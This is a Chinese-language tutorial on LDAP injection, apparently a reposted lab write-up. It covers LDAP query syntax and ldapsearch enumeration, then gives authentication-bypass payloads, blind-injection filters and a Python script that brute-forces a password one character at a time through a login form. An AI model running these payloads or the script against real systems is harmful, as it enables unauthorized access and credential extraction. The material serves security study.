当前位置: 首页 > news >正文

LDAP Injection

注意:仅作学习之用,尊法守法,切勿违法操作。

一、介绍

LDAP:轻量级目录访问协议,能使组织能够集中管理用户,以及组和其他目录信息,这些信息常用于网络和内部应用中的身份验证和授权目的。数据呈树状结构,读性能强。

例如:

Microsoft Active Directory:这是一项面向 Windows 域网络的服务,利用 LDAP 作为其底层协议套件的一部分来管理域资源。

OpenLDAP:LDAP 的开源实现,广泛用于管理用户信息并支持跨多个平台的认证机制。

类似文件夹一层一层便于检索,当企业中有不同部门、多种多台设备、大量用户时,通过LDAP,将其进行分组整理划分,一层一层下来,便可以将资源权限划分清楚。

二、搜索查询

通过LDAP搜索查询,可以定位检索目录中存储的信息。

1. 搜索查询的基本语法:

(base DN) (scope) (filter) (attributes)

解释:

base DN: 目录树中搜索的起点

Scope:它定义了从base DN开始搜索的深度,可以是base(仅搜索 base 的 DN)、one(搜索基底 DN 的直接子节点、sub(搜索基础 DN 及其所有后代)。

Filter:过滤条件(=、&、|、!等符号)。

Attributes:要返回的信息。

(&(objectClass=user)(|(cn=John*)(cn=Jane*)))

对象类中被归类为“user”且以“John”或“Jane”开头(*为通配符)。

三、攻击

1.

LDAP 服务就像企业内网里的 “中央通讯录”,平时藏在内部,一般不会直接暴露在公网上。但它确实有两个标准 “门”:

  • 389 端口:默认端口,用于未加密连接,或者先明文再升级到 TLS(StartTLS)。
  • 636 端口:加密端口,全程用 SSL/TLS 加密,更安全。

如果管理员配置不当,把这两个端口直接暴露到公网,任何人都能通过工具去 “敲门”。其中最常用的工具就是 OpenLDAP 里的ldapsearch

ldapsearch -x -H ldap://MACHINE_IP:389 -b "dc=ldap,dc=thm" "(ou=People)"

对管理员来说:

  • 可以批量查询用户、组、权限信息。
  • 方便做自动化运维和目录同步。

对攻击者来说:

  • 可以用来探测 LDAP 服务是否存在、版本是什么。
  • 一旦发现注入漏洞,就能用它批量枚举用户、提取敏感属性,甚至构造恶意查询。

2.注入原理

当用户输入在被纳入 LDAP 查询前未得到适当净化时就会发生LDAP注入。该过程类似SQL注入。

攻击方向:认证绕过、未授权数据访问、读写数据。

攻击流程:

①攻击者提交恶意输入。

username=f*&password=*

②Web应用未对输入进行过滤,导致恶意查询被拼接发送。

(&(uid=f*)(userPassword=*))

③LDAP服务器执行并返回结果。

应用直接信任并使用了用户提交的数据,没有对*()等特殊字符进行转义。

3.LDAP的利用

(&(uid={userInput})(userPassword={passwordInput})) //下述注入技术将会从该式展开

永真式注入:

*)(|(&

拼接后

(&(uid=*)(|(&)(userPassword=pwd)))

uid可以为所有用户;|要么&,要么password=pwd,满足一个即可。

万用式注入:

*

*可以匹配任意字符序列。

Blind LDAP Injection:

这种情况下,攻击者不会直接接收注入有效载荷的输出。相反,他们必须根据应用程序的行为推断信息。这种攻击更具挑战性,但仍可用于从 LDAP 目录中提取敏感信息。

猜测用户名第一个字符为a:(&(uid=a*)(|(&)(userPassword=pwd))) 通过穷举所有可能的字符(字符集),确定第一个字符,之后 猜测用户名第二个字符为b:(&(uid=ab*)(|(&)(userPassword=pwd))) ... ... 一个一个猜下去,观察系统输出。

对于输入有时需要进行URL等编码以绕过过滤。

4.自动化

自动化脚本,可以根据实际情况做修改

import requests from bs4 import BeautifulSoup import string import time # 1. 修改目标URL url = 'http://TARGET_IP/ldap_login.php' # 2. 调整字符集 char_set = string.ascii_letters + string.digits + "._@" successful_chars = '' headers = {'Content-Type': 'application/x-www-form-urlencoded'} while True: found = False for char in char_set: # 3. 调整Payload(根据靶场语法修改) data = { 'username': f'user*)(&(password={successful_chars}{char}*))', 'password': 'test' } try: # 4. 增加超时和延迟 response = requests.post(url, data=data, headers=headers, timeout=10) time.sleep(0.3) # 5. 修改响应判断逻辑(示例:页面包含“验证通过”) if "验证通过" in response.text: successful_chars += char print(f"找到字符:{char} | 当前已拼:{successful_chars}") found = True break except Exception as e: print(f"请求出错:{e}") continue if not found: break print(f"最终爆破结果:{successful_chars}")
http://www.jsqmd.com/news/449660/

相关文章:

  • freertos开发空气检测仪之综合展示
  • Nano-Banana入门必看:knolling美学三大法则(对称/留白/色彩秩序)AI实现
  • 手把手教你用Qwen3-ForcedAligner-0.6B:上传音频即出字幕,无需任何代码
  • IRBCRB15000_New_GoFa-2v2国外机器人防护服注意事项解析与避坑指南
  • 阿里云主机无法打开宝塔面板的解决方法—放行安全组教程
  • 人工智能+AI的蔬菜水果商城批发系统的设计与实现
  • 程序的运营AI公司四川谦与谦寻科技有限公司获客系统开发商
  • 云测试平台实战:Jenkins集成与性能优化秘籍
  • CSV可视化图片列HTML渲染
  • SQL优化全攻略:从索引策略到Explain实战解析
  • 《创业之路》-890- 法律的本质
  • 说说昇顺交通设施厂,产品靠谱吗,在山东、北京、天津地区口碑如何? - 工业品牌热点
  • 堆与完全二叉树的Python实现
  • 应急电源车智慧远程管理平台方案
  • 文墨共鸣企业实操:内容审核中‘同义替换’风险文本自动识别方案
  • Claude Code 安装与使用指南
  • 北京紫外光固化管道修复企业怎么选,浩信恒通靠谱吗 - mypinpai
  • Clawdbot AI代理网关实战:手把手教你搭建Qwen3:32B管理平台
  • comsol声流案例 本模型采用声固耦合和两相流耦合多物理场,使用的模块包括:声流层流、相场、...
  • 手把手教你:在星图平台用Clawdbot将Qwen3-VL:30B接入飞书(下篇)
  • 解读学有方教学方法好不好,三明地区靠谱吗? - myqiye
  • 深度强化学习实战:构建自适应难度游戏AI——DynamicDifficultyAI
  • 2026年三明值得选购的辅导机构盘点,聊聊学有方的学习计划制定科学吗 - 工业推荐榜
  • 20分钟用 NumPy 彻底搞懂线性代数核心-NumPy 线性代数核心详解 (np.linalg)
  • Redis如何与数据库保持双写一致性
  • 枚举类的设计模式
  • GTE-Base-ZH在互联网内容生态中的应用:从文本理解到价值挖掘
  • ComfyUI快速部署:镜像开箱即用,省去复杂环境配置步骤
  • 盘点2026无线流量计值得选的品牌,专业评测给你参考 - 工业品网
  • 汇川三轴示教 可编程 触摸屏程序 自己买来学习的 功能强大 触摸屏 PLC 程序 汇川H5U与